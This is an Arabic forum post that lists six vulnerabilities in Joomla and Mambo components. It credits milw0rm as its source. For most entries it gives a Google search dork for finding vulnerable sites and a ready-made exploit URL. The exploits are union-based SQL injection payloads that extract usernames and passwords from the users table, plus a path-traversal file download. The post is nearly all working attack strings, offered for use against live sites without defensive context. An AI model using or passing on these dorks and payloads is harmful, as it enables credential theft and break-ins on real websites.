6 ثغرات مو طبيعيه صدقوني

السلام عليكم ورحمه الله وبركاته

بسم الله الرحمن الرحيم
***********
ثغرة:
Joomla Component EventList <= 0.8 (did) Remote Blind SQL Injection Vulnerability

كود البحث


كود:
intext:"Event List 0.8 Alpha by schlu.net "

الإستغلال :.

كود:
/index.php?option=com_eventlist&func=details&did=9999999999999%20union%20select%200,0,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),4,5,6,7,8,9,00,0,444,555,0,777,0,999,0,0,0,0,0,0,0%20from%20jos_users/*

**********************
ثغرة:
Joomla Component Nice Talk <= 0.9.3 (tagid) Remote Blind SQL Injection Vulnerability
كود البحث

كود:
inurl:index.php?option=com_nicetalk

الإستغلال :.

كود:
http://index.php?option=com_nicetalk&tagid=-2)%20union%20select%201,2,3,4,5,6,7,8,0,999,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),777,666,555,444,333,222,111%20from%20jos_users/*

****************
ثغرة:
Joomla Component RSfiles <= 1.0.2 (path) Remote File Download Vulnerability
كود البحث

كود:
inurl:"/index.php?option=com_rsfiles"

الإستغلال :.

كود:
http://index.php?option=com_rsfiles&task=files.display&path=..|index.php
http://index.php?option=com_rsfiles&task=files.display&path=..|..| etc..

****************
ثغرة:
Joomla Component NeoRecruit <= 1.4 (id) Remote Blind SQL Injection Vulnerability
كود البحث

كود:
inurl:index.php?option=com_NeoRecruit

الإستغلال :.

كود:
http://index.php?option=com_neorecruit&task=offer_view&id=99999999999%20union%20select%201,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),3,4,5,6,7,8,111,222,333,444,0,0,0,555,666,777,888,1,2,3,4,5,0%20from%20jos_users/*

******************
ثغرة:
Mambo Component RemoSitory (cat) Remote SQL Injection Vulnerability
كود البحث

كود:
inurl:func=selectcat + com_remository

الإستغلال :.

كود:
http://index.php?option=com_remository&func=selectcat&cat=64549999%20union%20select%201,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),0,0,0%20from%20mos_users/*

***********************
ثغرة:
Joomla Component BibTeX <= 1.3 Remote Blind SQL Injection Vulnerability
الإستغلال :.
http://milw0rm.com/exploits/4310
******************************
المصدر :
http://www.milw0rm.com
******************
و تحياتي للمساعده zx7@hotmail.co.uk